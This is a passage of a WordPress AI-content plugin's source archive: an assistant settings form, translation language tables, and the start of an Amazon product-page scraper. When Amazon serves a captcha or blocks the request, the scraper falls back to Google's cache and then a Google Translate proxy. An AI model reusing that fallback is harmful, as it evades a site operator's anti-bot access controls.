id="aiomatic-assistant-functions-edit" name="aiomatic-assistant-functions" class="aiomatic-full-size" placeholder="{ "name": "get_weather", "description": "Determine weather in my location", "parameters": { "type": "object", "properties": { "location": { "type": "string", "description": "The city and state e.g. San Francisco, CA" }, "unit": { "type": "string", "enum": [ "c", "f" ] } }, "required": [ "location" ] } }"></textarea> <br/> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Use Below Functions', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_god_mode_new-edit"/>  <input type='button' class="button-primary" value="<?php esc_attr_e( 'Disable Functions', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_god_mode_new_disable-edit"/> <br/><input type='checkbox' id="function_god_mode-edit"/><label for="function_god_mode-edit"><?php echo esc_html__( 'God Mode (WordPress Function Calling)', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_dalle-edit"/><label for="function_dalle-edit"><?php echo esc_html__( 'Dall-E AI Images', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_stable-edit"/><label for="function_stable-edit"><?php echo esc_html__( 'Stable Diffusion AI Images', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_midjourney-edit"/><label for="function_midjourney-edit"><?php echo esc_html__( 'Midjourney AI Images', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_stable_video-edit"/><label for="function_stable_video-edit"><?php echo esc_html__( 'Stable Diffusion AI Videos', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_amazon-edit"/><label for="function_amazon-edit"><?php echo esc_html__( 'Amazon Product Listing', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_amazon_details-edit"/><label for="function_amazon_details-edit"><?php echo esc_html__( 'Amazon Product Details', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_scraper-edit"/><label for="function_scraper-edit"><?php echo esc_html__( 'Website Scraper', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_rss-edit"/><label for="function_rss-edit"><?php echo esc_html__( 'RSS Parser', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_google-edit"/><label for="function_google-edit"><?php echo esc_html__( 'Google SERP Parser', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_youtube-edit"/><label for="function_youtube-edit"><?php echo esc_html__( 'YouTube Video Search', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_captions-edit"/><label for="function_captions-edit"><?php echo esc_html__( 'YouTube Video Captions Scraper', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_royalty-edit"/><label for="function_royalty-edit"><?php echo esc_html__( 'Royalty Free Image Search', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_email-edit"/><label for="function_email-edit"><?php echo esc_html__( 'Email Sending', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_webhook-edit"/><label for="function_webhook-edit"><?php echo esc_html__( 'Webhook Calling', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_facebook-edit"<?php if(!$fbomatic_active){echo ' disabled title="Required plugin (F-omatic) not activated"';}?>/><label for="function_facebook-edit"><?php echo esc_html__( 'Facebook Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_facebook_image-edit"<?php if(!$fbomatic_active){echo ' disabled title="Required plugin (F-omatic) not activated"';}?>/><label for="function_facebook_image-edit"><?php echo esc_html__( 'Facebook Image Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_twitter-edit"<?php if(!$twitomatic_active){echo ' disabled title="Required plugin (Twitomatic) not activated"';}?>/><label for="function_twitter-edit"><?php echo esc_html__( 'Twitter Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_instagram-edit"<?php if(!$instamatic_active){echo ' disabled title="Required plugin (iMediamatic) not activated"';}?>/><label for="function_instagram-edit"><?php echo esc_html__( 'Instagram Image Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_pinterest-edit"<?php if(!$pinterestomatic_active){echo ' disabled title="Required plugin (Pinterestomatic) not activated"';}?>/><label for="function_pinterest-edit"><?php echo esc_html__( 'Pinterest Image Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_business-edit"<?php if(!$businessomatic_active){echo ' disabled title="Required plugin (Businessomatic) not activated"';}?>/><label for="function_business-edit"><?php echo esc_html__( 'Google My Business Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_youtube_community-edit"<?php if(!$youtubomatic_active){echo ' disabled title="Required plugin (Youtubomatic) not activated"';}?>/><label for="function_youtube_community-edit"><?php echo esc_html__( 'YouTube Community Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_reddit-edit"<?php if(!$redditomatic_active){echo ' disabled title="Required plugin (Redditomatic) not activated"';}?>/><label for="function_reddit-edit"><?php echo esc_html__( 'Reddit Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <input type='checkbox' id="function_linkedin-edit"<?php if(!$linkedinomatic_active){echo ' disabled title="Required plugin (Linkedinomatic) not activated"';}?>/><label for="function_linkedin-edit"><?php echo esc_html__( 'LinkedIn Posting', 'aiomatic-automatic-ai-content-writer' ); ?></label>  <h4><?php echo esc_html__("Assistant Avatar", 'aiomatic-automatic-ai-content-writer');?>: <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the avatar of the chatbot assistant.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div></h4> <div class="coderevolution_gutenberg_input"><img id="aiomatic-preview-image-new-edit"/></div> <input type="hidden" name="aiomatic-assistant-avatar" id="aiomatic_image_id_new-edit" value="" /> <input type='button' class="button-primary" value="<?php esc_attr_e( 'Select an avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_manager_new-edit"/>  <input type='button' class="button-primary" value="<?php esc_attr_e( 'Clear avatar', 'aiomatic-automatic-ai-content-writer' ); ?>" id="aiomatic_media_clear_new-edit"/> <br/><br/> <hr/> <button id="aiomatic-assistants-save-button-edit" class="button button-primary"><?php echo esc_html__("Save", 'aiomatic-automatic-ai-content-writer');?></button> <div class="aiomatic-assistants-success"></div> <br/> </form> </div> </div> </div> </div> </div> <?php } ?>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-languages.php��������������������������������������������������������������������������0000644�����������������00000051505�14757771437�0011634 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php defined('ABSPATH') or die(); $language_names = array( esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer'), esc_html__("Afrikaans (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Albanian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Arabic (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Amharic (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Armenian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Belarusian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bulgarian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Catalan (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Simplified (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Croatian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Czech (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Danish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dutch (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("English (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Estonian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Filipino (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Finnish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("French (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Galician (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("German (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Greek (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hebrew (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hindi (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hungarian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Icelandic (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Indonesian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Irish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Italian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Japanese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Korean (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latvian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lithuanian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Norwegian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Macedonian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malay (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maltese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Persian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Polish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Portuguese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Romanian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Russian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Serbian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovak (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Slovenian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Spanish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swedish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Thai (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ukrainian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Vietnamese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Welsh (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yiddish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tamil (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Azerbaijani (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kannada (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Basque (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bengali (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Latin (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chinese Traditional (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Esperanto (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Georgian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Telugu (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Gujarati (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Haitian Creole (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Urdu (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Burmese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bosnian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Cebuano (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Chichewa (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Corsican (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Frisian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Scottish Gaelic (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hausa (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hawaian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Hmong (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Igbo (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Javanese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kazakh (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Khmer (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kyrgyz (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lao (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luxembourgish (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malagasy (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Malayalam (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maori (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Marathi (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mongolian (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Nepali (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Pashto (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Punjabi (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Samoan (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sesotho (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Shona (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sindhi (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sinhala (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Somali (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sundanese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Swahili (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tajik (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uzbek (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Xhosa (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Yoruba (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Zulu (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Assammese (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Aymara (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bambara (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Bhojpuri (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dhivehi (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Dogri (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ewe (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Guarani (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Ilocano (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kinyarwanda (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Konkani (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Krio (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Kurdish - Sorani (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Lingala (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Luganda (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Maithili (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Meiteilon (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Mizo (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Odia (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Oromo (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Quechua (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sanskrit (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Sepedi (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tatar (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tigrinya (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Tsonga (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Turkmen (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Twi (Google Translate)", 'aiomatic-automatic-ai-content-writer'), esc_html__("Uyghur (Google Translate)", 'aiomatic-automatic-ai-content-writer') ); $language_codes = array( "disabled", "af", "sq", "ar", "am", "hy", "be", "bg", "ca", "zh-CN", "hr", "cs", "da", "nl", "en", "et", "tl", "fi", "fr", "gl", "de", "el", "iw", "hi", "hu", "is", "id", "ga", "it", "ja", "ko", "lv", "lt", "no", "mk", "ms", "mt", "fa", "pl", "pt", "ro", "ru", "sr", "sk", "sl", "es", "sw", "sv", "th", "tr", "uk", "vi", "cy", "yi", "ta", "az", "kn", "eu", "bn", "la", "zh-TW", "eo", "ka", "te", "gu", "ht", "ur", "my", "bs", "ceb", "ny", "co", "fy", "gd", "ha", "haw", "hmn", "ig", "jw", "kk", "km", "ku", "ky", "lo", "lb", "mg", "ml", "mi", "mr", "mn", "ne", "ps", "pa", "sm", "st", "sn", "sd", "si", "so", "su", "sw", "tg", "uz", "xh", "yo", "zu", "as", "ay", "bm", "bho", "dv", "doi", "ee", "gn", "ilo", "rw", "gom", "kri", "ckb", "ln", "lg", "mai", "mni-Mtei", "lus", "or", "om", "qu", "sa", "nso", "tt", "ti", "ts", "tk", "ak", "ug" ); $language_names_deepl = array( "English (DeepL)", "German (DeepL)", "French (DeepL)", "Spanish (DeepL)", "Italian (DeepL)", "Dutch (DeepL)", "Polish (DeepL)", "Russian (DeepL)", "Portuguese (DeepL)", "Chinese (DeepL)", "Japanese (DeepL)", "Bulgarian (DeepL)", "Czech (DeepL)", "Danish (DeepL)", "Greek (DeepL)", "Estonian (DeepL)", "Finnish (DeepL)", "Hungarian (DeepL)", "Lithuanian (DeepL)", "Latvian (DeepL)", "Romanian (DeepL)", "Slovak (DeepL)", "Slovenian (DeepL)", "Swedish (DeepL)", "Indonesian (DeepL)", "Turkish (DeepL)", "Korean (DeepL)", "Norwegian (DeepL)", "Ukrainian (DeepL)", "Arabic (DeepL)" ); $language_codes_deepl = array( "EN-", "DE-", "FR-", "ES-", "IT-", "NL-", "PL-", "RU-", "PT-", "ZH-", "JA-", "BG-", "CS-", "DA-", "EL-", "ET-", "FI-", "HU-", "LT-", "LV-", "RO-", "SK-", "SL-", "SV-", "ID-", "TR-", "KO-", "NB-", "UK-", "AR-" ); $language_names_bing = array( "English (Microsoft Translator)", "Arabic (Microsoft Translator)", "Bosnian (Latin) (Microsoft Translator)", "Bulgarian (Microsoft Translator)", "Catalan (Microsoft Translator)", "Chinese Simplified (Microsoft Translator)", "Chinese Traditional (Microsoft Translator)", "Croatian (Microsoft Translator)", "Czech (Microsoft Translator)", "Danish (Microsoft Translator)", "Dutch (Microsoft Translator)", "Estonian (Microsoft Translator)", "Finnish (Microsoft Translator)", "French (Microsoft Translator)", "German (Microsoft Translator)", "Greek (Microsoft Translator)", "Haitian Creole (Microsoft Translator)", "Hebrew (Microsoft Translator)", "Hindi (Microsoft Translator)", "Hmong Daw (Microsoft Translator)", "Hungarian (Microsoft Translator)", "Indonesian (Microsoft Translator)", "Italian (Microsoft Translator)", "Japanese (Microsoft Translator)", "Kiswahili (Microsoft Translator)", "Klingon (Microsoft Translator)", "Klingon (pIqaD) (Microsoft Translator)", "Korean (Microsoft Translator)", "Latvian (Microsoft Translator)", "Lithuanian (Microsoft Translator)", "Malay (Microsoft Translator)", "Maltese (Microsoft Translator)", "Norwegian (Microsoft Translator)", "Persian (Microsoft Translator)", "Polish (Microsoft Translator)", "Portuguese (Microsoft Translator)", "Queretaro Otomi (Microsoft Translator)", "Romanian (Microsoft Translator)", "Russian (Microsoft Translator)", "Serbian (Cyrillic) (Microsoft Translator)", "Serbian (Latin) (Microsoft Translator)", "Slovak (Microsoft Translator)", "Slovenian (Microsoft Translator)", "Spanish (Microsoft Translator)", "Swedish (Microsoft Translator)", "Thai (Microsoft Translator)", "Turkish (Microsoft Translator)", "Ukrainian (Microsoft Translator)", "Urdu (Microsoft Translator)", "Vietnamese (Microsoft Translator)", "Welsh (Microsoft Translator)", "Yucatec Maya (Microsoft Translator)", "Afrikaans (Microsoft Translator)", "Albanian (Microsoft Translator)", "Amharic (Microsoft Translator)", "Armenian (Microsoft Translator)", "Assamese (Microsoft Translator)", "Azerbaijani (Microsoft Translator)", "Bangla (Microsoft Translator)", "Bashkir (Microsoft Translator)", "Basque (Microsoft Translator)", "Cantonese (Microsoft Translator)", "Chinese (Literary) (Microsoft Translator)", "Dari (Microsoft Translator)", "Divehi (Microsoft Translator)", "Faroese (Microsoft Translator)", "Fijian (Microsoft Translator)", "Filipino (Microsoft Translator)", "French (Canada) (Microsoft Translator)", "Galician (Microsoft Translator)", "Georgian (Microsoft Translator)", "Gujarati (Microsoft Translator)", "Icelandic (Microsoft Translator)", "Inuinnaqtun (Microsoft Translator)", "Inuktitut (Microsoft Translator)", "Inuktitut (Latin) (Microsoft Translator)", "Irish (Microsoft Translator)", "Kannada (Microsoft Translator)", "Kazakh (Microsoft Translator)", "Khmer (Microsoft Translator)", "Kurdish (Central) (Microsoft Translator)", "Kurdish (Northern) (Microsoft Translator)", "Kyrgyz (Cyrillic) (Microsoft Translator)", "Lao (Microsoft Translator)", "Macedonian (Microsoft Translator)", "Malagasy (Microsoft Translator)", "Malayalam (Microsoft Translator)", "Maori (Microsoft Translator)", "Marathi (Microsoft Translator)", "Mongolian (Cyrillic) (Microsoft Translator)", "Mongolian (Traditional) (Microsoft Translator)", "Myanmar (Microsoft Translator)", "Nepali (Microsoft Translator)", "Odia (Microsoft Translator)", "Pashto (Microsoft Translator)", "Portuguese (Portugal) (Microsoft Translator)", "Punjabi (Microsoft Translator)", "Samoan (Microsoft Translator)", "Somali (Arabic) (Microsoft Translator)", "Swahili (Latin) (Microsoft Translator)", "Tahitian (Microsoft Translator)", "Tamil (Microsoft Translator)", "Tatar (Latin) (Microsoft Translator)", "Telugu (Microsoft Translator)", "Tibetan (Microsoft Translator)", "Tigrinya (Microsoft Translator)", "Tongan (Microsoft Translator)", "Turkmen (Latin) (Microsoft Translator)", "Upper Sorbian (Microsoft Translator)", "Uyghur (Arabic) (Microsoft Translator)", "Uzbek (Microsoft Translator)", "Zulu (Microsoft Translator)" ); $language_codes_bing = array( "en!", "ar!", "bs-Latn!", "bg!", "ca!", "zh-CHS!", "zh-CHT!", "hr!", "cs!", "da!", "nl!", "et!", "fi!", "fr!", "de!", "el!", "ht!", "he!", "hi!", "mww!", "hu!", "id!", "it!", "ja!", "sw!", "tlh!", "tlh-Qaak!", "ko!", "lv!", "lt!", "ms!", "mt!", "nor!", "fa!", "pl!", "pt!", "otq!", "ro!", "ru!", "sr-Cyrl!", "sr-Latn!", "sk!", "sl!", "es!", "sv!", "th!", "tr!", "uk!", "ur!", "vi!", "cy!", "yua!", "af!", "sq!", "am!", "hy!", "as!", "az!", "bn!", "ba!", "eu!", "yue!", "lzh!", "prs!", "dv!", "fo!", "fj!", "fil!", "fr-ca!", "gl!", "ka!", "gu!", "is!", "ikt!", "iu!", "iu-Latn!", "ga!", "kn!", "kk!", "km!", "ku!", "kmr!", "ky!", "lo!", "mk!", "mg!", "ml!", "mi!", "mr!", "mn-Cyrl!", "mn-Mong!", "my!", "ne!", "or!", "ps!", "pt-pt!", "pa!", "sm!", "so!", "sw!", "ty!", "ta!", "tt!", "te!", "bo!", "ti!", "to!", "tk!", "hsb!", "ug!", "uz!", "zu!" ); ?>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-noapi.php������������������������������������������������������������������������������0000644�����������������00000045755�14757771437�0011006 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class aiomatic_no_amazon_api { private $ch = ""; private $region = ""; public $is_next_page_available = false; public $next_request_qid = null; public $update_agent_required = false; public $slugs = array (); function __construct(&$ch, $region) { $this->ch = $ch; $this->region = $region; } public function getItemByAsin($asin_code, $slug = '', $affiliateID = '') { sleep(rand(3,5)); $asin_code = trim ( $asin_code ); $item_url = "https://www.amazon.{$this->region}/dp/$asin_code"; $url_gcache = trim ( $slug ) == '' ? $item_url : "https://www.amazon.{$this->region}/$slug/dp/$asin_code"; curl_setopt ( $this->ch, CURLOPT_URL, "$url_gcache" ); curl_setopt ( $this->ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ( $this->ch, CURLOPT_CUSTOMREQUEST, "GET" ); $headers = array (); $headers [] = "Authority: www.amazon.{$this->region}"; $headers [] = "Upgrade-Insecure-Requests: 1"; $headers [] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"; $headers [] = "Sec-Fetch-Site: none"; $headers [] = "Sec-Fetch-Mode: navigate"; $headers [] = "Sec-Fetch-User: ?1"; $headers [] = "Sec-Fetch-Dest: document"; $headers [] = "Accept-Language: en-US,en;q=0.9,ar;q=0.8"; curl_setopt ( $this->ch, CURLOPT_HTTPHEADER, $headers ); $exec = curl_exec ( $this->ch ); if (! stristr ( $exec, $asin_code )) { $gzdec = @gzdecode ( $exec ); if (stristr ( $gzdec, $asin_code )) $exec = $gzdec; } $x = curl_error ( $this->ch ); $cuinfo = curl_getinfo ( $this->ch ); if (trim ( $exec ) == '' || trim ( $x ) != '') { throw new Exception ( 'No valid reply returned from Amazon with a possible cURL err ' . $x ); } if (stristr ( $exec, '/captcha/' ) || $cuinfo ['http_code'] == 503) { $url_gcache = "http://webcache.googleusercontent.com/search?q=cache:$url_gcache"; curl_setopt ( $this->ch, CURLOPT_URL, trim ( $url_gcache ) ); $exec_gcache = curl_exec ( $this->ch ); if (stristr ( $exec_gcache, $asin_code ) && ! stristr ( $exec_gcache, ' 404 ' ) && ! stristr($exec_gcache, 'unusual traffic from your computer') ) { $exec = $exec_gcache; $cuinfo ['http_code'] = 200; } } if (stristr ( $exec, '/captcha/' ) || $cuinfo ['http_code'] == 503) { require_once (dirname(__FILE__) . "/GoogleTranslateProxy.php"); try { $GoogleTranslateProxy = new AIGoogleTranslateProxy($this->ch); $exec = $GoogleTranslateProxy->fetch($item_url); $cuinfo ['http_code'] = 200; } catch (Exception $e) { aiomatic_log_to_file('Google Proxy failed: ' . $e->getMessage()); } } if (stristr ( $exec, '/captcha/' ) || $cuinfo ['http_code'] == 503) { throw new Exception ( 'Captcha required by Amazon...' ); } if (!stristr ( $exec, $asin_code )) { throw new Exception ( 'No valid reply returned from Amazon can not find the item asin' ); } $exec = str_replace ( 'iso-8859-1', 'utf-8', $exec ); $doc = new DOMDocument (); $internalErrors = libxml_use_internal_errors(true); $doc->loadHTML ( $exec, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD ); libxml_use_internal_errors($internalErrors); $xpath = new DOMXpath ( $doc ); $elements = $xpath->query ( '//*[@id="productTitle"]' ); $item_title = ''; if ($elements->length > 0) { $title_element = $elements->item ( 0 ); $item_title = trim ( $title_element->nodeValue ); } if(trim($item_title) == '' ){ preg_match( '{<meta property="og:title" content="(.*?)"}' , $exec , $title_matches ); $item_title = isset( $title_matches[1]) ? $title_matches[1] : '' ; } $ret ['link_title'] = $item_title; $item_description = ''; preg_match_all ( '{<div id="productDescription.*?<p>(.*?)</p>[^<]}s', $exec, $description_matches ); $description_matches = $description_matches [1]; if (isset ( $description_matches [0] )) { $item_description = $description_matches [0]; $item_description = str_replace ( '</p><p>', '<br>', $item_description ); $item_description = str_replace ( array ( '<p>', '</p>' ), '', $item_description ); } if (trim ( $item_description ) == '' && stristr ( $exec, 'id="aplus"' )) { unset ( $elements ); $elements = $xpath->query ( '//*[@id="aplus"]' ); if ($elements->length > 0) { $item_description = $doc->saveHTML ( $elements->item ( 0 ) ); $item_description = preg_replace ( array ( '{<style.*?style>}s', '{<a.*?/a>}s', '{<script.*?/script>}s' ), '', $item_description ); $item_description = strip_tags ( $item_description, '<p><br><img><h3>' ); } } if (stristr ( $exec, 'bookDesc_iframe_wrapper' )) { preg_match_all ( '{<noscript>\s*(<div>.*?)</noscript}s', $exec, $book_desc_matches ); if (count ( $book_desc_matches [1] ) == 1 && isset ( $book_desc_matches [1] [0] )) { $item_description = $book_desc_matches [1] [0] . '<br>' . $item_description; } } if (stristr ( $exec, 'detailBulletsWrapper_feature_div' )) { $detailelements = $xpath->query ( 